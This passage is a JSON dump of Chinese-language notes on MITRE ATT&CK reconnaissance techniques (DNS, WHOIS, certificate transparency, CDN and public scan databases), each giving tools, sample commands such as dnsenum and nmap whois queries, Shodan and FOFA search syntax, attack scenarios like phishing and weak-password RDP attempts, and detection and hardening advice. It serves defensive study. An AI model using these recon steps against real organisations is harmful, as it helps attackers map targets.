dns.txt -dnsserver 8.8.8.8 sina.com -o sina.xml\n    # -f: 指定字典文件，-o: 输出结果到XML文件\n    ```\n  - **dnsmap**：\n    ```bash\n    sudo apt install dnsmap\n    dnsmap sina.com -w dns.txt\n    # -w: 指定字典文件\n    ```\n\n### 4. **被动DNS查询**\n- **在线工具**：\n  - **SecurityTrails** (<https://securitytrails.com>): 查询目标域名的历史DNS记录和子域名。\n  - **DNS Dumpster** (<https://dnsdumpster.com>): 获取DNS记录和网络映射。\n  - **Censys** (<https://censys.io>): 分析DNS数据和关联IP。\n  - **PassiveTotal** (<https://community.riskiq.com>): 提供被动DNS和威胁情报。\n- **案例场景**：\n  - 使用SecurityTrails查询`sina.com`的子域名，发现未受保护的测试环境（如test.sina.com）。\n  - 通过DNS Dumpster获取目标的MX记录，识别邮件服务器并发起钓鱼攻击。\n\n### 5. **WHOIS结合DNS**\n- 查询DNS注册信息（如注册人、邮箱、NS服务器）。\n  ```bash\n  sudo apt install whois\n  whois sina.com  # 查询域名注册信息\n  whois -h whois.apnic.net 66.102.251.24  # 查询IP归属\n  ```\n- **在线WHOIS查询**：\n  - AFRINIC (<https://www.afrinic.net>)\n  - APNIC (<https://www.apnic.net>)\n  - ARIN (<https://ws.arin.net>)\n  - IANA (<https://www.iana.org>)\n  - ICANN Lookup (<https://lookup.icann.org>)\n  - LACNIC (<https://www.lacnic.net>)\n  - NRO (<https://www.nro.net>)\n  - RIPE (<https://www.ripe.net>)\n  - InterNic (<https://www.internic.net>)\n\n## 检测日志\nDNS/被动DNS信息收集多通过公开数据库或外部查询进行，难以直接监测。以下是可能的日志来源：\n- **DNS服务器日志**：\n  - 记录异常的DNS查询模式，如高频查询、批量子域名查询或区域传输尝试。\n- **网络流量日志**：\n  - 检测外部主机对组织DNS服务器的异常查询（如AXFR请求）。\n- **Web服务器日志**：\n  - 监控与DNS管理平台相关的异常登录尝试或HTTP请求。\n- **邮件服务器日志**：\n  - 检测钓鱼邮件或社会工程攻击，可能与DNS信息收集相关。\n\n## 测试复现\n暂无标准化复现流程。可通过以下方式模拟：\n- **被动收集**：\n  - 使用SecurityTrails或DNS Dumpster查询目标域名的DNS历史记录和子域名。\n  - 通过Censys分析目标的DNS数据，提取关联IP和NS服务器。\n- **主动查询**：\n  - 在授权测试环境中，使用`dig`或`nslookup`查询目标域名的A、MX、NS记录。\n  - 尝试DNS区域传输，验证目标DNS服务器的配置安全性。\n- **字典爆破**：\n  - 使用dnsenum或dnsmap结合子域名字典，枚举目标的子域名。\n- **社会工程模拟**：\n  - 在红队测试中，伪装成DNS服务提供商，诱导员工泄露DNS管理凭据。\n\n## 测试留痕\n- **被动DNS查询**：通过公开数据库查询，通常不留明显痕迹。\n- **主动DNS查询**：可能在DNS服务器日志中记录异常查询流量。\n- **区域传输**：可能在DNS服务器日志中记录AXFR请求。\n- **字典爆破**：可能触发DNS服务器的高频查询告警。\n- **社会工程**：可能在邮件服务器或员工设备上留下钓鱼交互记录。\n\n## 检测规则/思路\n由于DNS/被动DNS信息收集多发生在目标组织视野之外，检测需结合多种手段：\n- **DNS查询监控**：\n  - 配置DNS服务器记录查询日志，检测高频查询、区域传输尝试或异常子域名查询。\n  - 使用DNS防火墙（如Cloudflare Gateway）阻止已知的恶意查询来源。\n- **网络流量分析**：\n  - 部署IDS/IPS（如Snort、Suricata）监控异常DNS流量（如AXFR请求或批量查询）。\n  - 使用Zeek或NetFlow分析DNS请求模式，识别潜在的枚举行为。\n- **信息泄露防护**：\n  - 使用DLP（数据丢失防护）工具，检测员工通过邮件或社交媒体泄露DNS相关信息。\n  - 监控公开信息源（如Pastebin、暗网论坛）中是否出现组织的DNS记录。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的DNS查询工具或恶意IP。\n  - 定期检查被动DNS数据库（如SecurityTrails），评估信息暴露风险。\n\n## 建议\n- **减少信息暴露**：\n  - 使用WHOIS隐私保护服务，隐藏DNS注册的联系信息。\n  - 定期清理DNS记录，移除不必要的子域名或敏感记录。\n  - 对员工进行安全意识培训，防止通过社会工程泄露DNS管理凭据。\n- **DNS安全加固**：\n  - 禁用不必要的DNS区域传输（AXFR），限制仅授权服务器访问。\n  - 实施DNSSEC（DNS安全扩展）防止DNS欺骗。\n  - 使用MFA（多因素认证）保护DNS管理平台。\n- **主动监控与响应**：\n  - 使用SecurityTrails或DNS Dumpster定期自查组织的DNS暴露情况，修复问题。\n  - 部署DNS日志分析工具（如Splunk、ELK），监控异常查询行为。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的DNS侦察活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1133、钓鱼T1566），通过异常流量或登录行为间接发现DNS侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1596-001  \n  <https://attack.mitre.org/techniques/T1596/001/>\n- 信息收集——DNS信息收集  \n  <https://blog.csdn.net/weixin_45126664/article/details/107603032>\n- WHOIS查询与安全  \n  <https://www.kancloud.cn/noahs/src_hacker/2120641>"
  },
  {
    "path": "Windows/01侦察/T1596.002-搜索开放的技术数据库-WHOIS.md",
    "content": "# T1596-002-搜索开放的技术数据库-WHOIS\n\n## 描述\n攻击者在入侵目标组织之前，可能通过搜索公开的WHOIS数据库收集目标的网络信息。WHOIS数据库由区域互联网注册中心（RIR）维护，存储有关注册域名的详细信息，例如域名所有人、联系信息（姓名、邮箱、电话）、注册商、注册和到期日期、分配的IP块以及DNS名称服务器。这些信息可帮助攻击者了解目标的网络架构、关键联系人或潜在攻击入口。\n\n攻击者可能通过以下方式收集WHOIS信息：\n- **公开查询**：使用在线WHOIS查询工具或命令行工具（如`whois`）获取域名注册信息。\n- **社会工程**：通过钓鱼或伪装身份诱导员工泄露WHOIS管理凭据。\n- **被动分析**：结合其他公开数据（如DNS记录、泄露文档）验证WHOIS信息。\n- **自动化搜刮**：使用脚本或工具批量查询WHOIS数据，提取目标的关联域名或IP。\n\n收集到的WHOIS信息可能为后续攻击活动做准备，例如主动扫描（T1595）、搜索开放网站/域（T1593）、建立运营资源（T1583/T1584）或通过钓鱼（T1566）或信任关系（T1199）实现初始访问。\n\n## 测试案例\n以下是模拟攻击者收集WHOIS信息的常见方法和工具：\n- **在线WHOIS查询**：\n  - **站长之家** (<https://whois.chinaz.com>): 查询域名注册信息、注册商及到期时间。\n  - **爱站网** (<https://whois.aizhan.com>): 提供域名注册详情和历史记录。\n  - **IP138** (<https://www.ip138.com>): 查询域名和关联IP信息。\n  - **腾讯云域名信息查询** (<https://cloud.tencent.com>): 获取域名注册和NS记录。\n  - **ICANN Lookup** (<https://lookup.icann.org>): 官方WHOIS查询工具。\n  - **新网WHOIS** (<https://www.xinnet.com>): 查询国内域名注册信息。\n  - **微步在线** (<https://x.threatbook.cn>): 提供WHOIS信息和威胁情报分析。\n  - **Bugscaner** (<https://whois.bugscaner.com>): 提供WHOIS和DNS查询功能。\n- **命令行工具**：\n  - **whois**: 在Linux/Unix系统中运行`whois target.com`查询域名信息。\n  - **Nmap WHOIS脚本**: 使用`nmap --script=whois-domain target.com`查询WHOIS信息并扫描目标端口。\n  - **dnsenum**: 结合WHOIS查询和DNS枚举，获取域名相关信息。\n- **社会工程**：\n  - 伪装成域名注册商发送钓鱼邮件，诱导员工泄露WHOIS管理平台凭据。\n  - 在社交媒体或论坛（如LinkedIn、QQ群）收集员工泄露的域名信息。\n- **案例场景**：\n  - 攻击者通过ICANN Lookup查询目标域名的注册邮箱，发现其用于其他服务，发起针对性钓鱼攻击。\n  - 使用`whois`命令结合Nmap扫描，发现目标的NS服务器存在未打补丁的漏洞，进而发起攻击。\n  - 参考案例：<https://blog.csdn.net/m0_48520508/article/details/107301211>，通过WHOIS信息收集目标的联系人邮箱并结合社会工程实现初始访问。\n\n## 检测日志\nWHOIS信息收集多通过公开数据库或外部查询进行，难以直接监测。以下是可能的日志来源：\n- **DNS服务器日志**：\n  - 记录异常的DNS查询，可能与WHOIS数据验证相关。\n- **Web服务器日志**：\n  - 检测与WHOIS管理平台相关的异常登录尝试或HTTP请求。\n- **邮件服务器日志**：\n  - 监控钓鱼邮件或社会工程攻击，可能与WHOIS信息收集相关。\n- **网络流量日志**：\n  - 检测外部主机对组织DNS服务器或管理平台的异常查询。\n\n## 测试复现\n暂无标准化复现流程。可通过以下方式模拟：\n- **被动收集**：\n  - 使用ICANN Lookup或站长之家查询目标域名的WHOIS记录，记录注册人信息和NS服务器。\n  - 结合SecurityTrails验证WHOIS数据中的IP块或子域名。\n- **主动查询**：\n  - 在授权测试环境中，使用`whois target.com`或`nmap --script=whois-domain target.com`查询WHOIS信息。\n- **社会工程模拟**：\n  - 在红队测试中，伪装成注册商发送钓鱼邮件，诱导员工泄露WHOIS管理凭据。\n- **综合测试**：\n  - 结合FOFA或Shodan搜索与WHOIS数据关联的资产，验证暴露的服务器或服务。\n\n## 测试留痕\n- **被动WHOIS查询**：通过公开数据库查询，通常不留明显痕迹。\n- **主动查询**：可能在DNS服务器或防火墙日志中记录异常查询或扫描流量。\n- **社会工程**：可能在邮件服务器或员工设备上留下钓鱼交互记录。\n- **WHOIS管理平台**：异常登录尝试可能在管理平台日志中记录。\n\n## 检测规则/思路\n由于WHOIS信息收集多发生在目标组织视野之外，检测需结合多种手段：\n- **DNS查询监控**：\n  - 配置DNS服务器记录查询日志，检测异常的WHOIS或NS查询模式。\n  - 使用DNS防火墙（如Cloudflare Gateway）阻止已知的恶意查询来源。\n- **网络流量分析**：\n  - 部署IDS/IPS（如Snort、Suricata）监控异常DNS查询或针对管理端口的扫描。\n  - 使用Zeek或NetFlow分析WHOIS相关请求模式，识别潜在的枚举行为。\n- **信息泄露防护**：\n  - 使用DLP（数据丢失防护）工具，检测员工通过邮件或社交媒体泄露WHOIS相关信息。\n  - 监控公开信息源（如Pastebin、暗网论坛）中是否出现组织的WHOIS数据。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的WHOIS查询工具或恶意IP。\n  - 定期检查WHOIS数据库中的记录，评估信息暴露风险。\n\n## 建议\n- **减少信息暴露**：\n  - 使用WHOIS隐私保护服务，隐藏注册人联系方式和公司信息。\n  - 定期审查WHOIS记录，移除不必要的敏感信息（如个人邮箱）。\n  - 对员工进行安全意识培训，防止通过社会工程泄露WHOIS管理凭据。\n- **域名安全加固**：\n  - 启用域名注册锁，防止未经授权的域名转移。\n  - 实施MFA（多因素认证）保护WHOIS管理平台。\n  - 定期更新NS记录，移除过期的服务器信息。\n- **主动监控与响应**：\n  - 使用微步在线或ICANN Lookup定期自查组织的WHOIS暴露情况，修复问题。\n  - 部署DNS日志分析工具（如Splunk、ELK），监控异常查询行为。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的WHOIS侦察活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1566、信任关系T1199），通过异常流量或钓鱼行为间接发现WHOIS侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1596-002  \n  <https://attack.mitre.org/techniques/T1596/002/>\n- Whois信息收集及利用方式  \n  <https://blog.csdn.net/m0_48520508/article/details/107301211>\n- WHOIS查询与安全  \n  <https://www.kancloud.cn/noahs/src_hacker/2120641>"
  },
  {
    "path": "Windows/01侦察/T1596.003-搜索开放的技术数据库-数字签名.md",
    "content": "# T1596-003-搜索开放的技术数据库-数字签名\n\n## 描述\n攻击者在入侵目标组织之前，可能通过搜索公开的数字证书数据收集目标的网络信息。数字证书由证书颁发机构（CA）签发，用于验证签名内容的来源（如HTTPS SSL/TLS通信）。这些证书通常包含有关注册组织的信息，例如域名、子域名、组织名称、位置和邮箱地址。攻击者可利用这些信息识别目标的网络资产、关键联系人或潜在攻击入口。\n\n攻击者可能通过以下方式收集数字证书信息：\n- **公开证书透明度（CT）日志**：查询证书透明度数据库（如crt.sh、Censys）以获取目标的SSL/TLS证书详情。\n- **被动分析**：从加密网络流量中提取证书信息（如服务器Banner或TLS握手数据）。\n- **社会工程**：通过钓鱼或伪装身份诱导员工泄露与证书管理相关的信息。\n- **搜索引擎和公开信息**：利用Google或其他平台搜索与目标相关的证书或泄露文档。\n\n收集到的数字证书信息可能为后续攻击活动做准备，例如主动扫描（T1595）、搜索开放网站/域（T1593）、建立运营资源（T1583/T1584）或通过外部远程服务（T1133）或钓鱼攻击（T1566）实现初始访问。\n\n## 测试案例\n以下是模拟攻击者收集数字证书信息的常见方法和工具：\n- **证书透明度（CT）日志查询**：\n  - **crt.sh** (<https://crt.sh>): 查询目标域名的SSL/TLS证书，获取域名、子域名和邮箱地址。例如，搜索`%.target.com`列出所有相关证书。\n  - **Censys** (<https://censys.io>): 分析目标的SSL证书，提取组织信息和关联IP。\n  - **Facebook CT Search** (<https://developers.facebook.com/tools/ct>): 提供证书透明度日志查询，识别目标的子域名。\n  - **Google Transparency Report** (<https://transparencyreport.google.com/https/certificates>): 查看目标域名的证书历史记录。\n- **被动证书提取**：\n  - 使用Wireshark捕获目标网站的TLS握手数据，提取SSL/TLS证书中的域名和组织信息。\n  - 利用Burp Suite分析HTTPS流量，获取证书详情。\n- **其他工具**：\n  - **SSLShopper** (<https://www.sslshopper.com/ssl-checker.html>): 检查目标域名的证书状态和配置。\n  - **SSL Labs** (<https://www.ssllabs.com/ssltest>): 分析目标的SSL/TLS配置，提取证书信息。\n- **社会工程**：\n  - 伪装成CA或IT管理员发送钓鱼邮件，诱导员工泄露证书管理平台的凭据。\n  - 在社交媒体或论坛（如LinkedIn、QQ群）收集员工泄露的证书相关信息。\n- **案例场景**：\n  - 攻击者通过crt.sh查询目标的子域名，发现未正确配置的测试环境（如test.target.com），并利用其漏洞发起攻击。\n  - 使用Censys提取目标的SSL证书，获取注册邮箱并发起针对性钓鱼攻击。\n  - 参考案例：<https://www.freebuf.com/articles/database/195169.html>，通过CT日志发现敏感子域名，结合漏洞利用实现初始访问。\n\n## 检测日志\n数字证书信息收集多通过公开数据库或外部查询进行，难以直接监测。以下是可能的日志来源：\n- **Web服务器日志**：\n  - 检测异常的HTTPS请求或证书检查，可能与证书提取相关。\n- **网络流量日志**：\n  - 监控异常的TLS握手流量，识别潜在的证书提取行为。\n- **DNS日志**：\n  - 检测针对组织域名的异常查询，可能与CT日志搜索相关。\n- **证书管理平台日志**：\n  - 记录异常的登录尝试或证书配置更改。\n\n## 测试复现\n暂无标准化复现流程。可通过以下方式模拟：\n- **被动收集**：\n  - 使用crt.sh或Censys查询目标域名的SSL/TLS证书，记录子域名和组织信息。\n  - 通过Wireshark捕获目标网站的TLS握手数据，提取证书详情。\n- **主动探测**：\n  - 在授权测试环境中，使用SSL Labs分析目标的SSL/TLS配置，检查证书暴露的信息。\n  - 测试证书透明度日志，验证是否存在敏感子域名。\n- **社会工程模拟**：\n  - 在红队测试中，伪装成CA发送钓鱼邮件，诱导员工泄露证书管理凭据。\n\n## 测试留痕\n- **被动查询**：通过CT日志或公开数据库查询，通常不留明显痕迹。\n- **主动探测**：可能在Web服务器或网络流量日志中记录异常的TLS请求或扫描行为。\n- **社会工程**：可能在邮件服务器或员工设备上留下钓鱼交互记录。\n- **证书管理平台**：异常登录尝试可能在管理平台日志中记录。\n\n## 检测规则/思路\n由于数字证书信息收集多发生在目标组织监测范围之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 使用IDS/IPS（如Snort、Suricata）检测异常的TLS握手或证书提取行为。\n  - 部署WAF（Web应用防火墙）监控异常的HTTPS请求，识别证书探测。\n- **DNS查询监控**：\n  - 记录针对组织域名的异常DNS查询，可能与CT日志搜索相关。\n  - 使用DNS防火墙（如Cloudflare Gateway）阻止已知的恶意查询来源。\n- **信息泄露防护**：\n  - 使用DLP（数据丢失防护）工具，检测员工通过邮件或社交媒体泄露证书相关信息。\n  - 监控公开信息源（如Pastebin、暗网论坛）中是否出现组织的证书数据。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的CT日志查询工具或恶意IP。\n  - 定期检查CT日志（如crt.sh），评估暴露的子域名或邮箱风险。\n\n## 建议\n- **减少信息暴露**：\n  - 使用子域名最小化策略，避免在证书中暴露敏感子域名。\n  - 配置SSL/TLS证书时，限制公开的组织信息（如邮箱、地址）。\n  - 定期检查CT日志（如crt.sh），识别并移除不必要的子域名记录。\n- **证书安全加固**：\n  - 使用强加密算法和最新TLS协议（如TLS 1.3）保护证书。\n  - 实施MFA（多因素认证）保护证书管理平台。\n  - 定期更新和续期证书，防止过期或泄露。\n- **主动监控与响应**：\n  - 使用Censys或SSL Labs定期自查组织的证书暴露情况，修复配置问题。\n  - 部署网络流量分析工具（如Zeek、NetFlow）监控异常TLS流量。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的证书侦察活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1133、钓鱼T1566），通过异常流量或登录行为间接发现侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1596-003  \n  <https://attack.mitre.org/techniques/T1596/003/>\n- 全流程信息收集方法总结  \n  <https://www.freebuf.com/articles/database/195169.html>\n- 渗透测试之信息收集（二）  \n  <https://zhuanlan.zhihu.com/p/86250911>"
  },
  {
    "path": "Windows/01侦察/T1596.004-搜索开放的技术数据库-CDN.md",
    "content": "# T1596-004-搜索开放的技术数据库-CDN\n\n## 描述\n攻击者在入侵目标组织之前，可能通过搜索内容分发网络（CDN）相关数据收集目标的网络信息。CDN通过分布式服务器阵列为组织提供内容托管服务，并支持根据请求者的地理区域优化内容传递。CDN数据可能暴露目标组织的网络资产、服务器配置或错误配置信息（如未受保护的登录门户或敏感文件）。攻击者可利用这些信息识别潜在的攻击入口或弱点。\n\n攻击者可能通过以下方式收集CDN相关信息：\n- **公开信息查询**：使用空间测绘平台（如Shodan、Censys）或CDN特定工具（如Cloudflare Watch、CDN Finder）查找目标的CDN服务提供商、边缘服务器IP或配置细节。\n- **错误配置探测**：搜索CDN配置错误，如未正确隐藏的源服务器IP、暴露的调试信息或未受保护的资源。\n- **社会工程**：通过钓鱼或伪装身份获取CDN管理平台的凭据或配置信息。\n- **被动分析**：分析公开的CDN错误页面、SSL证书或DNS记录，推测目标的网络架构。\n\n收集到的CDN信息可能为后续攻击活动做准备，例如主动扫描（T1595）、搜索开放网站/域（T1593）、建立运营资源（T1583/T1584）或通过路过式下载（T1189）或漏洞利用（T1190）实现初始访问。\n\n## 测试案例\n以下是模拟攻击者收集CDN信息的常见方法和工具：\n- **CDN信息查询**：\n  - **Shodan** (<https://www.shodan.io>): 搜索目标的CDN边缘服务器IP或暴露的服务。例如，查询`http.favicon.hash:<target_favicon_hash>`以识别CDN托管的资产。\n  - **Censys** (<https://censys.io>): 分析目标的SSL证书或开放端口，推测CDN提供商。\n  - **FOFA** (<https://fofa.info>): 使用语法如`header=\"cloudflare\" && domain=\"target.com\"`查找目标的CDN配置。\n  - **CDN Finder** (<https://www.cdnfinder.com>): 识别目标使用的CDN服务（如Cloudflare、Akamai）。\n  - **Cloudflare Watch** (<https://www.cloudflare-watch.org>): 专门用于查询Cloudflare CDN的配置和边缘服务器信息。\n- **错误配置探测**：\n  - 检查CDN错误页面（如403/404页面）是否泄露源服务器IP或调试信息。\n  - 使用DNS历史记录工具（如SecurityTrails）查找CDN隐藏的源服务器IP。\n  - 测试CDN未正确配置的子域名，寻找直接访问源服务器的机会。\n- **社会工程**：\n  - 伪装成CDN服务提供商发送钓鱼邮件，诱导员工泄露CDN管理凭据。\n  - 在社交媒体或论坛（如QQ群、Reddit）收集员工泄露的CDN配置信息。\n- **案例场景**：\n  - 攻击者通过FOFA查询目标的CDN边缘服务器，发现未受保护的调试接口，泄露源服务器IP。\n  - 使用Cloudflare Watch识别目标的Cloudflare配置错误，直接访问源服务器并利用未打补丁的漏洞。\n  - 参考案例：<https://www.freebuf.com/vuls/227805.html>，通过负载均衡或CDN配置漏洞（如未正确配置的WAF规则）获取敏感信息。\n\n## 检测日志\nCDN信息收集多通过公开数据库或外部查询进行，难以直接监测。以下是可能的日志来源：\n- **CDN服务日志**：\n  - 记录来自CDN管理平台的异常登录尝试或配置更改。\n- **网络流量日志**：\n  - 检测针对CDN边缘服务器的异常扫描或探测流量。\n- **Web服务器日志**：\n  - 监控异常的HTTP请求，可能与CDN错误页面探测或爬取相关。\n- **DNS日志**：\n  - 检测针对组织域名的异常DNS查询，可能与CDN配置分析相关。\n\n## 测试复现\n暂无标准化复现流程。可通过以下方式模拟：\n- **被动收集**：\n  - 使用Shodan或Censys查询目标的CDN边缘服务器IP或SSL证书信息。\n  - 通过SecurityTrails分析DNS历史记录，尝试识别CDN隐藏的源服务器IP。\n- **主动探测**：\n  - 在授权测试环境中，使用Nmap扫描目标的CDN边缘服务器，记录开放端口或服务。\n  - 测试CDN错误页面（如直接访问不存在的子域名），检查是否泄露源服务器信息。\n- **社会工程模拟**：\n  - 在红队测试中，伪装成CDN提供商，诱导员工泄露管理凭据或配置细节。\n\n## 测试留痕\n- **被动查询**：通过公开CDN数据库或DNS记录查询，通常不留明显痕迹。\n- **主动探测**：可能在CDN日志或防火墙中记录异常的扫描流量或HTTP请求。\n- **错误配置利用**：可能在Web服务器日志中记录直接访问源服务器的请求。\n- **社会工程**：可能在邮件服务器或员工设备上留下钓鱼交互记录。\n\n## 检测规则/思路\n由于CDN信息收集活动多发生在目标组织监测范围之外，检测需结合多种手段：\n- **CDN日志监控**：\n  - 配置CDN管理平台（如Cloudflare、Akamai）记录异常访问或配置更改。\n  - 监控CDN错误页面（如403/404）的访问日志，检测可能的探测行为。\n- **网络流量分析**：\n  - 使用IDS/IPS（如Snort、Suricata）检测针对CDN边缘服务器的异常扫描或端口探测。\n  - 部署WAF（Web应用防火墙）监控异常HTTP请求，识别CDN配置探测。\n- **DNS查询监控**：\n  - 记录针对组织域名的异常DNS查询，可能与CDN源服务器IP泄露相关。\n  - 使用DNS防火墙（如Cloudflare Gateway）阻止已知的恶意查询来源。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的CDN扫描工具或恶意IP。\n  - 监控公开数据泄露（如Pastebin），检查是否包含组织的CDN配置信息。\n\n## 建议\n- **减少信息暴露**：\n  - 使用CDN隐藏源服务器的真实IP地址，确保所有流量通过CDN路由。\n  - 配置CDN错误页面，避免泄露调试信息或源服务器细节。\n  - 定期检查DNS记录，删除不必要的子域名或暴露的记录。\n- **CDN安全加固**：\n  - 启用CDN的WAF功能，保护登录门户和其他敏感资源。\n  - 实施MFA（多因素认证）保护CDN管理平台。\n  - 定期审计CDN配置，确保没有错误配置（如未加密的源服务器通信）。\n- **主动监控与响应**：\n  - 使用Shodan或FOFA定期自查组织的CDN暴露情况，修复配置问题。\n  - 部署网络流量分析工具（如Zeek、NetFlow）监控异常CDN流量。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的CDN侦察活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1189、漏洞利用T1190），通过异常流量或登录行为间接发现CDN侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1596-004  \n  <https://attack.mitre.org/techniques/T1596/004/>\n- 挖洞经验 | 从负载均衡或CDN应用中发现的配置类漏洞  \n  <https://www.freebuf.com/vuls/227805.html>\n- 渗透测试之信息收集DNS篇  \n  <https://blog.csdn.net/qq1124794084/article/details/78672225>"
  },
  {
    "path": "Windows/01侦察/T1596.005-搜索开放的技术数据库-公开的扫描数据库.md",
    "content": "# T1596-005-搜索开放的技术数据库-公开的扫描数据库\n\n## 描述\n攻击者在入侵目标组织之前，可能通过搜索公开的扫描数据库收集目标的网络信息。这些数据库通常包含通过互联网扫描收集的数据，例如活跃IP地址、主机名、开放端口、SSL证书、服务器Banner以及其他服务指纹信息。这些信息可帮助攻击者识别目标的网络资产、暴露的服务或潜在漏洞。\n\n攻击者可能使用以下方式收集信息：\n- **在线扫描数据库**：利用空间测绘平台（如Shodan、FOFA、ZoomEye、Quake）查询目标的网络资产。\n- **被动信息收集**：分析公开数据库中的历史扫描数据，推测目标的网络架构或服务分布。\n- **社会工程结合**：结合从其他渠道（如社交媒体、泄露文档）获取的信息，验证扫描数据库中的数据。\n\n收集到的信息可能为后续攻击活动做准备，例如主动扫描（T1595）、搜索开放网站/域（T1593）、建立运营资源（T1583/T1584）或利用外部远程服务（T1133）或公开应用漏洞（T1190）实现初始访问。\n\n## 测试案例\n以下是模拟攻击者使用公开扫描数据库收集信息的常见方法和工具：\n- **空间测绘平台**：\n  - **Shodan** (<https://www.shodan.io>): 查询目标的IP地址、开放端口、服务器Banner和SSL证书信息。例如，搜索`org:TargetCorp port:3389`查找目标组织的远程桌面服务。\n  - **FOFA** (<https://fofa.info>): 通过搜索语法（如`host=\"*.target.com\" && port=\"80\"`）发现目标的Web服务器或子域名。\n  - **ZoomEye** (<https://www.zoomeye.org>): 搜索目标的网络设备指纹，如路由器、摄像头或VPN网关。\n  - **Quake** (<https://quake.360.cn/quake/#/index>): 提供基于威胁情报的资产搜索，识别目标的暴露服务。\n- **其他工具**：\n  - **Censys** (<https://censys.io>): 查询目标的IP、端口和证书信息，分析网络暴露面。\n  - **BinaryEdge** (<https://www.binaryedge.io>): 提供详细的网络扫描数据和漏洞信息。\n- **案例场景**：\n  - 攻击者使用Shodan搜索目标组织的IP范围，发现暴露的RDP服务（端口3389），并尝试弱口令登录。\n  - 通过FOFA查询`domain=\"target.com\" && protocol=\"http\"`，发现未打补丁的Web服务器，进而利用已知漏洞（如CVE）发起攻击。\n  - 使用ZoomEye识别目标的物联网设备（如摄像头），利用默认凭据获取访问权限。\n\n## 检测日志\n公开扫描数据库的查询活动通常发生在目标组织监测范围之外，难以直接检测。以下是可能的日志来源：\n- **网络流量日志**：\n  - 检测来自已知扫描平台（如Shodan、Censys）的IP地址的探测流量。\n- **防火墙/IDS日志**：\n  - 记录异常的外部扫描行为，如高频端口扫描或Banner抓取。\n- **Web服务器日志**：\n  - 监控异常的HTTP请求，可能与扫描平台的爬取活动相关。\n- **DNS日志**：\n  - 检测针对组织域名的异常查询，可能与扫描数据库的资产关联有关。\n\n## 测试复现\n暂无标准化复现流程。可通过以下方式模拟：\n- **外部测试**：\n  - 使用Shodan或FOFA搜索目标组织的公开资产，如IP地址、开放端口或子域名。\n  - 结合Censys查询目标的SSL证书，分析托管服务提供商或服务器类型。\n- **主动扫描模拟**：\n  - 在授权测试环境中，使用Nmap模拟Shodan的扫描行为，记录开放端口和服务指纹。\n- **综合测试**：\n  - 结合ZoomEye和Quake搜索目标的网络设备，推测网络架构并验证暴露服务。\n\n## 测试留痕\n- **被动查询**：通过公开扫描数据库进行的查询通常不留痕迹，难以直接检测。\n- **主动扫描**：可能在防火墙或IDS/IPS日志中记录异常的端口扫描或服务探测。\n- **Web请求**：可能在Web服务器日志中记录来自扫描平台的爬取请求（如Shodan的User-Agent）。\n\n## 检测规则/思路\n由于公开扫描数据库的查询活动难以直接检测，建议从以下角度进行监控：\n- **网络流量监控**：\n  - 使用IDS/IPS（如Snort、Suricata）检测来自已知扫描平台（如Shodan、Censys）的IP地址的探测行为。\n  - 配置防火墙阻止高频扫描流量或针对敏感端口（如3389、22）的探测。\n- **服务暴露分析**：\n  - 定期使用Shodan或FOFA自查组织暴露的资产，识别未授权的开放端口或服务。\n  - 部署WAF（Web应用防火墙）检测异常的HTTP请求或爬取行为。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的扫描平台IP或恶意扫描模式。\n  - 监控公开数据泄露（如Pastebin），检查是否包含组织的资产信息。\n- **日志关联**：\n  - 使用SIEM系统（如Splunk、ELK）关联网络流量、防火墙和Web日志，检测异常的扫描模式。\n  - 监控DNS查询日志，识别与扫描数据库相关的域名解析行为。\n\n## 建议\n- **减少暴露面**：\n  - 定期审计网络资产，关闭不必要的开放端口和服务（如RDP、SSH）。\n  - 使用CDN或WAF隐藏关键服务器的真实IP地址。\n  - 配置SSL证书，隐藏服务器Banner和指纹信息。\n- **网络安全加固**：\n  - 实施网络分段，限制外部对内部服务的直接访问。\n  - 使用强身份验证（如MFA）保护暴露的服务（如VPN、远程桌面）。\n  - 定期更新和打补丁公开服务，防止已知漏洞被利用。\n- **主动监控与响应**：\n  - 使用Shodan或FOFA定期自查组织的网络暴露情况，及时修复问题。\n  - 部署网络流量分析工具（如Zeek、NetFlow）监控异常扫描行为。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的侦察活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1133、漏洞利用T1190），通过异常登录或网络流量间接发现侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1596-005  \n  <https://attack.mitre.org/techniques/T1596/005/>\n- 渗透测试之信息收集DNS篇  \n  <https://blog.csdn.net/qq1124794084/article/details/78672225>\n- 收集域名信息与安全  \n  <https://www.kancloud.cn/noahs/src_hacker/2119907>"
  },
  {
    "path": "Windows/02资源开发/T1583.001-获取基础设施-域名.md",
